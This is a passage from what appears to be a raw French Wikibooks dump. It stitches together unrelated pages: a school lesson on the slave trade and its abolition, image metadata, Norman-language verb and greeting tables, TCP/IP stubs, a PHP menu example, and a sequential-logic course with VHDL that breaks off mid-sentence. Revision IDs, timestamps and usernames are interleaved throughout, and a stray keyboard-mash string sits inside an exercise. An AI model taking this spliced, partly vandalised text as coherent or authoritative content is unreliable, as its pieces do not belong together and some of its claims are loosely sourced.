l'Ouest pour rejoindre les côtes africaines. Diverses marchandises étaient entassées dans leurs cales : des armes à feu, des pièces de tissus, des verroteries, des ustenciles ou de l'alcool. Ils faisaient escale dans les comptoirs africains tels que celui de Gorée au Sénégal. Là, ils échangeaient les produits européens contre des esclaves noirs. Ils étaient capturés lors de guerres ou de raids à l'intérieur des terres, par les Européens ou par les chefs africains. La rumeur disait que les Blancs buvaient le sang des Noirs. Une fois achetés, leur traversée vers l'Amérique commençait alors : l'éloignement de la côte provoquait parfois des suicides collectifs. [[Image:Slave ship diagram.png|250px|left|Plan d'un navire négrier]] Les conditions du voyage pour les Africains étaient effroyables. Plusieurs centaines d'esclaves étaient entassés au fond du bateau et ne pouvaient jamais se tenir debout. Ils avaient les mains et les pieds attachés par des chaînes en métal. Mais cette cargaison humaine représentait pour les trafiquants une grande valeur. Pour éviter les pertes, on prenait soin de les nourrir, de les laver et de les soigner. Ils les obligent à danser et faire de l'exercice sur le pont. Mais certains, rongés par le désespoir, se laissait mourir de faim. La traverser de l'Océan Atlantique durait deux mois. Mais plus le voyage est long, plus la mortalité est importante. Les révoltes étaient peu nombreuses mais durement matées. Lorsque le navire négrier est attaqué par des pirates, la seule solution est de fuir car le bateau n'est pas armé. Le capitaine adopte alors froidement la solution la plus effroyable : jeter les esclaves par dessus bord pour alléger le vaisseau. On estime que 15 à 20 millions d'Africains ont été déportés ou sont morts à cause de la traite. Les produits cultivés grâce à la main d'œuvre servile étaient transportés jusqu'en Europe. Ils se vendaient cher ce qui entraîna l'enrichissement des négociants européens. La bourgeoisie marchande investissent leur fortune dans des terres et achètent de beaux immeubles en ville. Le Royaume-Uni et la France sont les deux principaux pays qui ont pratiqué la traite au XVIII{{e}} siècle. En Afrique, les conséquences de la traite étaient d'une autre dimension : les régions littorales ont perdu des millions d'habitants. ==La vie des esclaves dans les Antilles françaises== [[Image:024debret.jpg|right|250px]] À leur arrivée aux Antilles ou sur le continent américain, les esclaves sont vendus aux enchères ou échangés contre du café ou du sucre. Des affiches indiquent leur provenance et leur état de santé. La moitié des esclaves africains meurt dans les trois ans qui suivent leur arrivée. C'est pourquoi il faut constamment en faire venir d'autres. Certains se révoltent et s'enfuient loin de la plantation : on les appelle les "marrons". Les marrons sont traqués comme des bêtes avec des chiens spécialement dressés. Chaque esclave doit cultiver un jardin en plus de son travail pour pouvoir se nourir. Les tâches les plus difficiles étaient de retourner la terre et de couper la canne à sucre. Le travail était long (12 à 14 heures par jour) et pénible. D'autres travaillent au service de la maison de maître. Ces esclaves domestiques ont des conditions de vie moins dures. Le Code Noir de 1685 est un texte de loi qui impose des règles aux esclaves et aux propriétaires : ils doivent être baptisés, mariés avec l'accord du maître. Ils n'ont pas le droit de porter des armes. Une esclave qui épouse un homme libre est automatiquement affranchie. Le maître doit prendre soin de la santé de ses esclaves. Il peut le battre mais pas le torturer. Il ne peut séparer les familles. Mais beaucoup de ces obligations ne sont pas respectées ! =Vers l'abolition de l'esclavage= [[Image:Toussaint L'Ouverture.jpg|250px|thumb|Toussaint Louverture]] Au XVII{{e}} siècle, les Quakers réclament déjà la suppression de l'esclavage dans les colonies d'Amérique du Nord. Le 4 juillet 1776, les États-Unis déclarent leur indépendance : le texte de Thomas Jefferson proclame la liberté et l'égalité de tous les Hommes. L'année suivante, l'état du Vermont interdit l'esclavage suivi par d'autres états du Nord-Est. Dans les années 1780, plusieurs personnages prennent la défense des esclaves : Condorcet, un Français des Lumières, condamne moralement l'esclavage. En 1788 est fondée une société des amis des Noirs qui réclame la fin de la traite. En 1791 a lieu dans la colonie française de Saint-Domingue un soulèvement d'esclaves dirigé par un certain Toussaint Louverture. En 1793, Paris cède et décrète l'abolition dans cette région des Antilles. Sous la pression économique et sur les conseils de sa femme, le premier consul Napoléon Bonaparte rétablit l'esclavage en 1802. Il envoie une force de 20 000 soldats pour vaincre Toussaint Louverture. En 1807, la traite des Noirs est interdite par l'Angleterre, suivie par les puissances européennes en 1815. Mais le trafic continue en contrebande. =Victor Schœlcher= Après une révolte d'esclaves en Jamaïque, le Parlement anglais décide d'abolir l'esclavage en 1833. En 1840-1841, le Français Victor Schœlcher se rend dans les Antilles. Nommé sous-secrétaire d'État aux colonies sous la II{{e}} République, il préside un groupe de réflexion sur la suppression de l'esclavage. Le 27 avril 1848, Le ministre de la marine signe le décret préparé par Schoelcher : 250 000 esclaves étaient libérés. =L'esclavage n'a pas disparu de la planète= Aboli officiellement en Arabie Saoudite en 1960, l'esclavage continue de nos jours dans plusieurs pays africains (Nigéria, Soudan, Mauritanie). =Chronologie= =Glossaire= *Abolition *Amérindiens : les premiers habitants du continent américaine. *Colon : une personne venue s'installer dans une colonie. *Colonie : un territoire gouverné, peuplé et exploité par un pays étranger. *Comptoir : entrepôt de marchandises dans un port. Les comptoirs d'Afrique et d'Inde étaient fortifiés. *Négrier : *Plantation : une grande exploitation agricole des régions tropicales. Les cultures sont destinées à être exportées. *Précolombien, précolombienne : adjectif qui désigne le continent américain avant l'arrivée des Européens. Le préfixe "pré" signifie "avant" et "colombien" dérive de Christophe Colomb, le "découvreur" de l'Amérique. *Traite des Noirs : l'achat et le transport des Africains, vendus comme esclaves. =Pour aller plus loin= ==Lectures== ==Sites== * Quelques pages réalisées par des élèves de CM1 [http://www2.ac-toulouse.fr/eco-belbeze-union/esclave1.htm] * Un dossier fait par des élèves de CM1 et CM2 de l'académie de Versailles [http://www.ac-versailles.fr/etabliss/Toussaint/vschoel/sch00.htm] * L'abolition vue à travers le tableau de [http://www.histoire-image.com/site/oeuvre/analyse.php?liste_analyse=3 François Biard] Image:Td4fig1.png 7210 34257 2006-02-23T16:10:43Z SergeMoutou 1178 Tableau de Karnaugh : regroupement des zéros. Tableau de Karnaugh : regroupement des zéros. Image:Td4fig2.png 7211 34262 2006-02-23T16:38:36Z SergeMoutou 1178 Implantation en OU-NON Implantation en OU-NON Image:Td3figx.png 7212 34270 2006-02-23T17:09:23Z SergeMoutou 1178 Tableau de Karnaugh Tableau de Karnaugh Cours de premier cycle universitaire (L1-L2) Electronique numérique : logique 7213 34274 2006-02-23T17:21:58Z YolanC 349 [[Cours de premier cycle universitaire (L1-L2) Electronique numérique : logique]] déplacé vers [[Cours de premier cycle universitaire (L1-L2) Électronique numérique : logique]]: typologie #REDIRECT [[Cours de premier cycle universitaire (L1-L2) Électronique numérique : logique]] Image:Td3fig3b.png 7214 34282 2006-02-23T18:36:34Z SergeMoutou 1178 Cas indéterminé dans un tablea de karnaugh Cas indéterminé dans un tablea de karnaugh Image:Td5fig1.png 7215 34290 2006-02-23T18:55:54Z SergeMoutou 1178 Simplification à plus de 4 variable (Karnaugh) Simplification à plus de 4 variable (Karnaugh) Image:Td6fig1.png 7216 34299 2006-02-23T20:43:29Z SergeMoutou 1178 Tableau de Karnugh d'un additionneur Tableau de Karnugh d'un additionneur Image:Td6fig2.png 7217 34303 2006-02-23T21:13:17Z SergeMoutou 1178 Code Gray sur 4 bits Code Gray sur 4 bits Image:Td6fig3.png 7218 38456 2006-03-20T20:57:48Z Greudin 1 restitution de la dernière modification de SergeMoutou Code BCD et Exess 3 Langue normande/Verbes être et avoir 7219 34342 2006-02-24T09:02:35Z 213.133.215.52 avaer ''avaer'' - avoir {| width="100%" cellpadding="3" | '''présent''' | '''passé composé''' | '''passé simple''' | '''imparfait''' | '''futur''' | '''conditionnel''' |- | j'i | j'i-z-ieu | j'eus | j'avais | j'érai | j'érais |- | t'âs | t'âs-ieu | t'eus | t'avais | t'éras | t'érais |- | il/ol a | il/ol a-z-ieu | il/ol eut | il/ol avait | il/ol éra | il/ol érait |- | j'avouns/j'ouns | j'avouns-ieu | j'eûnmes | j'aviouns | j'érouns | j'ériouns |- | vos avaez | vos avaez-ieu | vos eûtes | vos aviaez | vos éraez | vos ériaez |- | il/ol ount | il/ol ount-z-ieu | il/ol eûtent | il/ol avaient | il/ol érount | il/ol éraient |} ''aver'' - avoir en guernesiais {| width="100%" cellpadding="3" | '''présent''' | '''prétérite''' | '''imparfait''' | '''futur''' | '''conditionnel''' |- | j'ai | j'aëus | j'avais | j'érai | j'érais |- | t'as | t'aëus | t'avais | t'éras | t'érais |- | il a | il aëut | il avait | il éra | il érait |- | all' a | all' aeut | all' avait | all' éra | all' érait |- | j'avaöns | j'eûnmes | j'avaëmes | j'éraöns | j'éraëmes |- | vous avaïz | vous aeutes | vous avaites | vous éraïz | vous éthêtes |- | il aönt | il aëurent | il avaient | il éraönt | il éraient |} ''aver'' - avoir en jersiais {| width="100%" cellpadding="3" | '''présent''' | '''présent progressif''' | '''parfait''' | '''prétérite''' | '''imparfait''' | '''futur composé''' | '''futur''' | '''conditionnel''' |- | j'ai | j'sis à aver | j'ai ieu | j' eus | j'avais | j'm'en vais aver | j'éthai | j'éthais |- | tu'as | tu'est à aver | tu'as ieu | tu'eus | tu'avais | tu t'en vas aver | tu'éthas | tu'éthais |- | il a | il est à aver | il a ieu | il eut | il avait | i' s'en va aver | il étha | il éthait |- | oulle a | oulle est à aver | oulle a ieu | oulle eut | oulle avait | ou s'en va aver | oulle étha | oulle éthait |- | j'avons | j'sommes à aver | j'avons ieu | j'eûnmes | j'avêmes | j'nos n'allons aver | j'éthons | j'éthêmes |- | ous avez | ous êtes à aver | ous avez ieu | ous eûtes | ous avêtes | ou vos n'allez aver | ous éthez | ous éthêtes |- | il' ont | i' sont à aver | il' ont ieu | il' eûtent | il' avaient | i' lus en vont aver | il' éthont | il' éthaient |} Langue normande/Consonnes 7220 34347 2006-02-24T09:06:07Z 213.133.215.52 {| width="100%" cellpadding="3" |- | valign="top" | ''qu'' suivi de ''é'' ou ''i'' | /ʧ/ au nord de la ligne Joret, /k/ au sud de la ligne Joret. Les îles anglo-normandes étant au nord de la ligne Joret ont gardé le ''tch'' orthographique. À comparer, le mot normand venu du latin ''canem'' (chien) s'écrit ''quyin'' (à prononcer [quien] ou [tchi] selon les lieux) sur le continent et ''tchian'' selon l'orthographe insulaire. |- | ''gu'' suivi de ''é'', ''i'' ou ''u'' | /ʤ/ au nord de la ligne Joret, /ɡ/ au sud de la ligne Joret |- | ''ll'' suivant ''b'', ''c'', ''f'', ''g'', ''p'' <br />(s'écrit ''li'' en jersiais) | valign="top" | /j/ |- |} Langue normande/Nasales 7221 34353 2006-02-24T09:15:46Z 213.133.215.52 {| width="100%" cellpadding="3" | width="33%" | ''-oun'' | /ɔ̃:/ |- | ''-aun'' | /aɔ̃/ ou /ɛ̃/ selon la région |- | ''-în'' | /&#603;&#771;:/ en jersiais |} Langue normande/Dire bounjouo ! 7222 34364 2006-02-24T09:34:28Z 213.133.215.52 {| width="100%" cellpadding="3" | ''' Français ''' | ''' Cotentinais ''' | ''' Jersiais ''' | ''' Guernesiais ''' | ''' Cauchois ''' |- | | | | | |- | Bonjour | Bounjouo | Bouônjour | | |- | Bonjour (le matin) | | Bouônjour à matîn | | |- | Bonsoir | | Bonsouair | | |- | Bonne nuit | | Bouonne niet | | |- | Au revoir | | À bétôt | À la perchoïne | |- | Merci | | Mèrcie | | |- | Merci beaucoup | | Mèrcie bein des fais | Mercie bian | |- | Comment vous appelez-vous? | | Tch'est qu'est vot' nom? | Tchi qu'est vote naom? | |- | Comment allez-vous? | | Coumme est qu'ous êtes? | Coume tchi que l'affaire va? | |- | Quelle heure est-il? | | Tchille heuthe qu'il est? | Quaï heure qu'il est? | |} Image:Td7fig1.png 7223 34367 2006-02-24T09:45:04Z SergeMoutou 1178 Table de vérité généralisée Table de vérité généralisée Image:Td7fig2.png 7224 34392 2006-02-24T10:35:38Z SergeMoutou 1178 Génération logique avec multiplexeur Génération logique avec multiplexeur Réseaux TCP/IP : NAT 7225 38721 2006-03-24T17:46:51Z Eric Lalitte 1295 /* Translation d'adresses NAT/PAT */ {{Reseaux TCP/IP}} ==Traduction d'adresses NAT/PAT== Réseaux TCP/IP : VPN 7226 34915 2006-02-26T21:18:41Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : VPN]] déplacé vers [[Réseaux TCP/IP : VPN]]: ortho {{Reseaux TCP/IP}} == Les VPN== Réseaux TCP/IP : Administration sous Linux 7227 34917 2006-02-26T21:19:15Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Administration sous Linux]] déplacé vers [[Réseaux TCP/IP : Administration sous Linux]]: ortho {{Reseaux TCP/IP}} ==Administration réseaux sous Linux== Les TP d'administration seront présentés ici. Programmation PHP/Exemples/Sommaire 7230 44549 2006-06-14T18:04:40Z 89.156.193.30 /* Le programme en php */ {{Programmation PHP}} ==Un sommaire simple== Imaginons un site Web composé de 4 pages entre lesquelles on peut naviguer grâce à un sommaire. Notre sommaire est par exemple à gauche de l'écran et contient 4 liens hypertextes : page 1, page 2, page 3 et page 4. A droite de l'écran, le contenu principal de la page change en fonction de la page affichée. Par contre notre sommaire apparaît lui sur chacune des pages. === Le programme en php === '''Fichier index.php ''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Sommaire en PHP !</title> <style type="text/css"> #sommaire { position:absolute; background-color:cyan; left:10px; width:100px; } #page { position:absolute; background-color:#AAAAAA; left : 200px; width:500px; height:500px; } </style> </head> <body> <div id="sommaire"> <h3>Sommaire</h3> <a href="index.php?page=1">Page 1</a><br/> <a href="index.php?page=2">Page 2</a><br/> <a href="index.php?page=3">Page 3</a><br/> <a href="index.php?page=4">Page 4</a><br/> </div> <div id="page"> <?php if (isset($_GET['page']))$page=$_GET['page']; else $page='1'; if($page==1)require 'page1.html'; else if($page==2)require 'page2.html'; else if($page==3)require 'page3.html'; else if($page==4)require 'page4.html'; ?> </div> </body> </html> </pre> '''fichier page 1.html''' <pre> <h1>Page 1</h1> bla bla bla </pre> '''fichier page 2.html''' <pre> <h1>Page 2</h1> ble ble ble </pre> '''fichier page 3.html''' <pre> <h1>Page 3</h1> bli bli bli </pre> '''fichier page 4.html''' <pre> <h1>Page 4</h1> blo blo blo </pre> === Explications === * Dans ce programme, la page est découpée en 2 parties : à gauche une partie ayant comme id sommaire et à droite une page ayant comme id page. *La page de id sommaire se verra appliqué le style #sommaire de la feuille de style et la page de id page le style #page. * Le sommaire est constitué de 4 liens hypertextes appelant respectivement ''index.php?page=1'', ''index.php?page=2'', ''index.php?page=3'', ''index.php?page=4''. Lorsqu'on met un point d'interrogation après l'URL d'une page, cela signifie qu'on passe un paramètre à la page par la méthode GET. Lorsqu'on clique sur un des 4 liens hypertextes, on appelle à chaque fois la même page index.php mais à chaque fois la valeur du paramètre nommé page change : il vaut 1, 2, 3 ou 4 en fonction de la page. * Dans la page index.php, dans la partie page, on va récupérer la valeur du paramètre page, passée par la méthode GET en écrivant $_GET['page']. Ce paramètre peut très bien ne pas exister : ceci a lieu notamment la première fois qu'on appelle notre page index.php. Dans ce cas, la variable isset(...) permet de savoir si une variable existe. La ligne '''if (isset($_GET['page']))$page=$_GET['page']; else $page='1';''' récupère donc dans $page, la valeur du paramètre page. Si ce paramètre n'existe pas $page vaut 1. * La fonction '''require'nom_du_fichier'; ''' permet d'insérer un fichier à cet endroit dans le code. On insérera donc page1.html ou page2.html ou page3.html ou page4.html en fonction de la valeur du paramètre page. * Notre sommaire est terminé. ===Capture d'écrans=== * '''La page initiale :''' [[Image:Sommaire-1.jpg]]<br/> * '''on clique sur page 2 :''' [[Image:Sommaire-2.jpg]]<br/> * '''on clique sur page 3 :''' [[Image:Sommaire-3.jpg]]<br/> * '''on clique sur page 4 :''' [[Image:Sommaire-4.jpg]]<br/> Image:Sommaire-1.jpg 7231 34448 2006-02-24T14:32:35Z Merrheim 1032 Image:Sommaire-2.jpg 7232 34449 2006-02-24T14:32:53Z Merrheim 1032 Image:Sommaire-3.jpg 7233 34450 2006-02-24T14:33:06Z Merrheim 1032 Image:Sommaire-4.jpg 7234 34451 2006-02-24T14:33:21Z Merrheim 1032 Cours de premier cycle universitaire (L1-L2) Electronique numérique : logique séquentielle 7236 45467 2006-06-23T12:53:47Z 82.234.121.202 /* Des équations de récurrence aux programmes VHDL */ ==TD1 : mémoires et bascules== === Mémoires RS === La mémoire est un composant permettant de retenir de l'information. C'est un élément qui ne peut pas être réalisé en combinatoire pur. Pour son étude il faut donc des métodes différentes que les tables de vérité. On utilisera une table d'évolution qui ressemble à une table de vérité. La différence est qu'il apparaît dans cette table la sortie au présent (notée q) et la sortie au futur (notée Q). ; Table d'évolution {| border cellspacing="0" width="450" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Entrées||Etat futur||Fonction réalisée |- style="text-align:center" |'''R'''||'''S'''||'''Q''' ou '''<math>Q^+</math>'''||| |- style="text-align:center" |0||0||q||mémorisation |- style="text-align:center" |0||1||1||mise à un |- style="text-align:center" |1||0||0||mise à zéro |- style="text-align:center" |1||1||X||priorité |} L'entrée S sert donc à mettre à 1, tandis que R sert à mettre à 0. La dernière ligne de la table d'évolution n'est pas traitée par tous de la même manière. On trouve souvent dans la littérature une interdiction concernant cette ligne : elle est en général liée au fait que les sorties souhaitées sont alors au nombre de deux et notées Q et <math>\bar{Q}</math> Nous choisissons plutôt d'étudier une seule sortie notée Q et ainsi d'autoriser cette ligne. Il se trouve un X dans cette ligne parceque l'on considère qu'il peut y avoir trois cas : * 0 on parle de mémoire à Reset prioritaire, * 1 on parle de mémoire à Set prioritaire, * q on parle alors de mémoire à mémoire prioritaire. ==== Exemple ==== Nous proposons le schéma suivant et son tableau de Karnaugh associé : [[Image:Td1bfig1.png]] Remarquez la variable q introduite dans le tableau de Karnaugh (alors que le circuit n'a en réalité que deux entrées). Ce tableau de Karnaugh sert à déduire une équation de récurrence. On qualifie ces équations de '''récurrence''' car une variable intervient à la fois comme entrée et comme sortie (évidemment ici q et Q : qui ne sont reliées que par un fil). L'équation de récurrence s'écrit : <math>Q = \bar{R} \cdot S + q \cdot \bar{R} </math> ==== Exercice 1 ==== Pour le schéma ci-dessous, compléter le tableau de Karnaugh ainsi que le diagramme des temps. On supposera pour simplifier que les portes répondent de manière instantanée (ce que l'on a toujours fait jusqu'à maintenant). [[Image:Td1bfig2.png]] === Mémoire D (D latch) === Cette fonction comporte deux entrées, D et H et une sortie Q. L'équation de récurrence de la mémoire D n'a pas beaucoup d'intérêt, il faut mieux retenir son fonctionnement : recopie son entrée D sur sa sortie Q lorsque son horloge H est à 1. === Bascule D === Cette fonction comporte aussi deux entrées, D et H et une sortie Q. La grande différence est que la recopie de l'entrée sur la sortie ne se fait maintenant que sur front d'horloge. Notez sur le schéma ci-dessous comment est notée cette sensibilité au front d'horloge. La bascule D la plus complexe comporte quatre entrées D, H, S et R et une sortie Q. Les entrées supplémentaires sont actives à l'état bas (donc notées parfois /S et /R) et ont les même fonctions que dans le cas d'une mémoire. Elles sont dites asynchrones dans le sens où contrairement à D elles sont complètement indépendantes des fronts d'horloge. [[Image:Td1bfig3.png]] Plus d'information ici : [[w:Bascule|Bascules]]. === Bascules JK === Vous trouverez ici [[w:Bascule|(Wiki : Bascules)]] des informations sur la bascule JK. Nous complèterons cette information avec ce que l'on appellera dans la suite un diagramme d'évolution. Ici il est constitué de deux états (en vert) et de transitions (les flèches). Ce diagramme d'évolution est très important pour nous car il nous servira lors des synthèses. [[Image:Td1bfig4.png]] ====Exercice 2==== Transformer une bascule JK en bascule D. Transformer ensuite une bascule D en bascule JK. ====Exercice 3==== Nous désirons réaliser la bascule E suivante. * si E=0 alors Q=0 * si E=1 alors Q(n+1) = /Q(n). ==TD2 : Diagrammes d'évolution, équations de récurrence== ===Diagrammes d'évolutions=== Les montages séquentiels simples sont en général représenté par un diagramme d'évolution. Il s'agit d'un ensemble d'états (cercles) reliés entre eux par des flèches (transitions). [[Image:Td2bfig1.png]] <u>Remarque</u> : le dernier diagramme d'évolution avec un état isolé est à éviter (Hang-Up State). Les diagrammes d'évolutions peuvent être aussi variés que ceux présentés ci-dessus. Ils peuvent avoir un ou plusieurs cycles. La suite des états n'est pas forcément dans l'ordre naturel (du comptage). Le nombre d'états N est relié au nombre n de bascules D : <math>N = 2^n</math> Si l'on veut trouver un diagramme d'évolution à partir d'un schéma utilisant des bascules D, il faut positionner les sorties des bascules D (qui constitueront l'état présent), puis chercher ce qui en résultera sur les entrées de ces bascules (qui constitueront l'état futur). En répétant ce travail pour chacune des possibilités en entrées on trouvera le diagramme d'évolution. ====Exercice 1==== Trouver les diagrammes d'évolutions correspondant aux schémas ci-dessous : [[Image:Td2bfig2.png]] ===Des diagrammes d'évolutions aux équations de récurrences=== Il est facile de construire une table des transitions (état présent ; état futur) à partir d'un diagramme d'évolution. Cela constitue tout simplement la table de vérité de l'équations de récurrence cherchée. Si on veut une forme simplifiée il faudra utiliser un ou plusieurs tableaux de karnaugh. Par exemple pour le premier diagramme d'évolution donné en haut de cette page, on trouve : ; Tableau Etat présent/Etat futur :{| border cellspacing="0" width="350" |- style = "background:#b3e2d1;text-align:center" | colspan="2"|Etat présent||colspan="2"|Etat futur |- style="text-align:center" |'''q1'''||'''q0'''||'''Q1'''||'''Q0''' |- style="text-align:center" |0||0||0||1 |- style="text-align:center" |0||1||1||0 |- style="text-align:center" |1||0||1||1 |- style="text-align:center" |1||1||0||0 |} On peut en déduire des tableaux de Karnaugh et donc des équations simplifiées. Ici on obtient : <math>Q1 = q1 \oplus q0</math> et <math>Q0 = \overline{q0}</math> ====Exercice 2==== Trouver les équations de récurrence de chacun des diagrammes d'évolution présentés au début de ce TD. ===Des équations de récurrence aux programmes VHDL=== Nous allons maintenant apprendre à passer des équations de récurrence aux programmes VHDL. Le compteur ci-dessus s'écrit par exemple en [[w:VHDL |VHDL]]: <pre><nowiki> ENTITY cmpt IS PORT ( clk: IN BIT; q0,q1: INOUT BIT); END cmpt; ARCHITECTURE acmpt OF cmpt IS BEGIN PROCESS (clk) BEGIN -- ou cmpt:PROCESS (clk) BEGIN IF (clk'EVENT AND clk='1') THEN q0 <= NOT q0; q1 <= q0 XOR q1; END IF; END PROCESS; END acmpt; </nowiki></pre> Notez que q0 et q1 sont déclarées en INOUT, ce qui est obligatoire pour des équations de récurrences (en fait il existe d'autres façons de faire). ====Exercice 3==== Pour chacune des équations de récurrence trouvées à l'exercice 2, écrire le programme VHDL correspondant. ==TD3 : Implantation matérielle avec bascules D et bascules JK== Réaliser un schéma séquentiel à partir d'un diagramme d'évolution consiste toujours à trouver une partie combinatoire. Les raisonnements seront séquentiels, mais les méthodes employées viennent du combinatoire : tables de vérité, [[w:Tableau_de_Karnaugh |tableaux de Karnaugh]]. ===Implantations à l'aide de bascules D=== Si l'on connaît les équations de récurrence, il est facile d'obtenir un schéma à l'aide de bascules D. Il suffit d'implanter les équations de récurrence. Si on ne les connaît pas il suffit de les chercher. On présente d'abord ce que l'on cherche à réaliser : une partie combinatoire à la place du point d'interrogation : [[Image:Td3bfig1.png]] ====Exercice 1==== Réaliser un compteur modulo 8 (qui compte de 0 à 7) à l'aide de 3 bascules D. ===Implantation à l'aide de bascules JK=== Il faut utiliser le diagramme d'évolution de la bascule JK pour trouver les équations de récurrences sur J et sur K. Il y en a deux fois plus qu'avec des bascules D mais elles sont plus simples. Notre problème est encore une fois de trouver la partie combinatoire ci-dessous : [[Image:Td3bfig2.png]] La méthode est présentée à l'aide d'une figure sur laquelle il faut passer un peu de temps pour bien la comprendre : [[Image:Td3bfig3.png]] * Il y a 4 tableaux de Karnaugh parcequ'il y a 4 sorties à réaliser J1, K1, J0 et K0 * Lorsqu'on raisonne sur une transition donnée l'état de départ (état présent) détermine complètement la place dans les tableaux de Karnaug à remplir (flèches rouges) * la connaissance de l'état présent et de l'état futur permet à l'aide du diagramme d'évolution de la bascule JK (voir TD précédent rappelé ci-dessous) qu'elles sont les valeurs à positionner pour J et K des deux bascules. On en déduit ce qu'il faut mettre dans le tableau de Karnaugh. [[Image:Td1bfig4.png]] ====Exercice 2==== Réaliser la synthèse d'un diviseur de fréquence par trois à JK et à D. Donner le programme VHDL correspondant.ojp^jîopujiopijopij ====Exercice 3==== Réaliser un compteur modulo 8 avec trois bascules JK ====Exercice 4==== Réaliser un générateur de signaux carrés déphasés de 90°. ==TD4 : Implantation en D et JK (suite)== ===Limitation en fréquence=== Les conditions d'état associées à l'horloge dans une commande synchrone doivent être stables soit pendant toute la durée de l'horloge soit pendant une plage de temps tset up et thold autour du front actif de l'horloge. Soyons un peu plus précis en définissant un certain nombre de paramètres temporels qui doivent être respectés pour un fonctionnement synchrone correct. Tsetup représente le temps pendant lequel l'entrée doit être stable avant le front d'horloge pour être prise en compte correctement. Thold représente la même chose mais après le front d'horloge. Lorqu'un front d'horloge arrive les sorties ne seront vraiment mises à jour qu'un temps tCKO après. Chaque composant possède une documentation sur ces temps. Pour examiner les conséquences de ces paramètres temporels, nous présentons ci-dessous deux versions d'un même compteur : [[Image:Td4bfig1.png]] ====Exercice 1==== Pour un temps moyen tp de 20 ns par porte et tCKO=tp par bascule, quelle serait la fréquence maximum applicable en entrée pour un fonctionnement correct pour les deux schémas ci-dessus. Même question en tenant compte du "set-up time" : Tsetup = 30 ns ====Exercice 2==== Déterminer la période d'horloge minimum pour un bon fonctionnement de ce circuit : [[Image:Td4bfig2.png]] (Paramètres : Tsetup = 5 ns min, Thold 3 ns, 2,5 < tCKO < 12 ns, Tdelay = 10 ns temp de propagation de l'inverseur 6 < tp < 9 ns.) tCKO : clock to output === Initialisation=== Lors de la mise sous tension les bascules en circuits intégrés sont initialisés à 0 (les circuits programmables à 1). Pour être sûr de l'initialisation il faut utiliser les entrées asynchrones ou réaliser une initialisation synchrone : [[Image:Td4bfig3.png]] === Forçage asynchrone=== Ce type de montage se rencontre en pratique même s'il est déconseillé à utiliser. [[Image:Td4bfig4.png]] === Un compteur asynchrone : le 7490 (TTL)=== Ce circuit est composé d'un diviseur par 2 et d'un diviseur par 5. Par mise en cascade, il permet une division par 10. Le cycle à 10 positions est différent suivant l'ordre de la mise en cascade (QA relié à Horloge B ou QD relié à horloge A) Le cycle ayant un rapport cyclique 0.5 est appelé Bi-quinaire et l'autre comptage BCD. Il comprend d'autre part une entrée de forçage à 0 et une entrée de forçage à 9. [[Image:Td4bfig5.png]] ====Exercice 3 (7490)==== En connectant la sortie A à l'entrée "Horloge B" examiner la séquence des états. Même travail en connectant la sortie D à l'entrée "Horloge A". Lequel représente le comptage BCD ? ====Exercice 4==== Réaliser un générateur de signaux triphasés (120°). Le rapport cyclique sera 0,5. Montrer qu'il faut nécessairement 6 états pour le réaliser. Que faire des 2 états restants ? Écrire le programme VHDL correspondant. ====Exercice 5==== En utilisant trois bascules D et de la logique combinatoire, réaliser un circuit qui réalise les états suivants. Q2Q1Q0 = 0,1,3,2,6,7,5,4,0, ... Dessiner le diagramme d'évolution et trouver les équations de récurrence. ==TD5 : Registres== ===Structure de base des registres=== La structure d'un registre dépendra du mode, série ou parallèle, utilisé pour y écrire l'information et pour la lire ensuite. - écriture et lecture parallèle (registre tampon, Buffer register) - écriture et lecture en série (registre à décalage, Shift Register) - écriture en parallèle et lecture en série (Parallel IN - Serial OUT) - écriture série et lecture parallèle (Serial IN - parallel OUT) [[Image:Td5bfig1.png]] Le chargement peut être asynchrone. <u>Remarque<u> : un petit essai de spécification d'un registre à décalage par diagramme d'évolution nous montre les limites d'une telle spécification. Voir aussi [[w:Registre_%C3%A0_d%C3%A9calage |Registre à décalage]]. ===Exercices=== ====Exercice 1==== Donner un schéma de registre à décalage avec des bascules JK ====Exercice 2==== Compléter la table de fonctionnement du 74194 (TTL) à l'aide de son shéma interne. [[Image:Td5bfig2.png]] [[Image:Td5bfig3.png]] ====Exercice 3==== Donner le schéma d'un registre 3 bits programmable, à écriture et lecture en série par décalage à droite ou à gauche, circulaire ou non. Prévoir deux entrées de programmation P1 et P2, et donner le code de programmation choisi. Utiliser des bascules D synchrones à front montant. Indications : on a encore ici une bonne illustration de la méthode du SI-ALORS. Écrire le programme VHDL correspondant. ==TD6 : Mémoires RAM, ROM ...== ===Les mémoires=== Les [[w:M%C3%A9moire_informatique|mémoires informatiques]] Les mémoires [[w:Mémoire ROM|ROM]] Les mémoires [[w:Mémoire RAM|RAM]] Les mémoires EPROM. Dénomination 27C256_20. 27=EPROM, C=CMOS 256=capacité en Kbits, 20= temps d'accès en unité 10 ns (ici 200 ns). Les [[w:Mémoire Flash|mémoires Flash]] sont aussi des composants très utilisés. ===Organisation des mémoires : les bus=== Une mémoire est caractérisée par plusieurs bus : * [[w:Bus_de_donn%C3%A9es |bus de données]] * [[w:Bus_d%27adresse |bus d'adresses]] * bus de commande ou [[w:Bus_de_contr%C3%B4le |bus de contrôle]] Le bus de commande comporte en général 3 signaux : WE (Write Enable) qui permet de choisir entre écriture et lecture, CE (Chip Enable) qui sélectionne le composant et OE (Output Enable) qui sélectionne les sorties 3 états. Bien sûr dans le cas d'un mémoire à lecture seulement (PROM) le signal WE est absent. <u>Écriture dans une mémoire</u> : la mémoire dispose d'une entrée notée /WE (Write Enable) qui doit prendre la valeur 0. L'écriture devient possible sur un front de /WE si la mémoire est sélectionnée (/CE=0) [[Image:Td6bfig1.png]] La capacité des mémoires est définie en bits ou octets. Pour un bus de données de largeur n (n fils) et un bus d'adresse de largeur m la capacité en bits est définie par : <math>C = n \cdot 2^m bits</math> On divisera cette capacité par 8 pour l'avoir en octets. On utilisera aussi les multiples : *<math>1 K = 1024 = 2^{10}</math> *<math>1 M = 2^{20}</math> *<math>1 G = 2^{30}</math> ===PROM à diodes=== Nous allons décrire le schéma interne d'une petite mémoire à diodes. Son intérêt est qu'elle est suffisamment simple qu'on peut la comprendre à l'aide des connaissances que l'on a aquises jusqu'à présent. Voyons un peu de quoi est constitué ce composant : [[Image:Td6bfig2.png]] Nous voyons apparaître 